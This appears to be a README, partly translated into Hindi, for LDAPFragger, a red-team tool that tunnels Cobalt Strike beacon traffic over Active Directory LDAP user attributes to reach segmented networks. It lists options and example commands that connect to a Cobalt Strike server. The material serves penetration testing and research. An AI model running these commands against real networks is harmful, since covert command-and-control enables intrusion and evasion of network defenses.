fox-it/ldapfraggerसी2 उपकरण जो विभाजित नेटवर्कों में गुप्त कमांड-एंड-कंट्रोल के लिए LDAP उपयोगकर्ता विशेषताओं पर Cobalt Strike बीकन डेटा रूट करता है।
LDAPFragger एक कमांड और नियंत्रण उपकरण है जो हमलावरों को उपयोगकर्ता विशेषताओं का उपयोग करके LDAP पर Cobalt Strike बीकन डेटा को रूट करने में सक्षम बनाता है।
पृष्ठभूमि जानकारी के लिए, रिलीज़ ब्लॉग पढ़ें: http://blog.fox-it.com/2020/03/19/ldapfragger-command-and-control-over-ldap-attributes
.NET 4.0 के साथ संकलित, लेकिन पुराने और नए .NET फ्रेमवर्क के साथ भी काम कर सकता है _ _ __
| | | | / _|
| | __| | __ _ _ __ | |_ _ __ __ _ __ _ __ _ ___ _ __
| |/ _` |/ _` | '_ \| _| '__/ _` |/ _` |/ _` |/ _ \ '__|
| | (_| | (_| | |_) | | | | | (_| | (_| | (_| | __/ |
|_|\__,_|\__,_| .__/|_| |_| \__,_|\__, |\__, |\___|_|
| | __/ | __/ |
|_| |___/ |___/
Fox-IT - Rindert Kramer
Usage:
--cshost: IP address or hostname of the Cobalt Strike instance
--csport: Port of the external C2 interface on the Cobalt Strike server
-u: Username to connect to Active Directory
-p: Password to connect to Active Directory
-d: FQDN of the Active Directory domain
--ldaps: Use LDAPS instead of LDAP
-v: Verbose output
-h: Display this message
If no AD credentials are provided, integrated AD authentication will be used.
उदाहरण उपयोग:
नेटवर्क खंड A से, चलाएँ
LDAPFragger --cshost <Cobalt Strike IP> --csport <External listener port>
LDAPFragger --cshost <Cobalt Strike IP> --csport <External listener port> -u <username> -p <password> -d <domain FQDN>
नेटवर्क खंड B से, चलाएँ
LDAPFragger
LDAPFragger -u <username> -p <password> -d <domain FQDN>
LDAPS का उपयोग --LDAPS फ्लैग के साथ किया जा सकता है, हालांकि नियमित LDAP ट्रैफ़िक भी एन्क्रिप्टेड है। कृपया ध्यान दें कि डिफ़ॉल्ट Cobalt Strike पेलोड अधिकांश AV द्वारा पकड़ा जाएगा।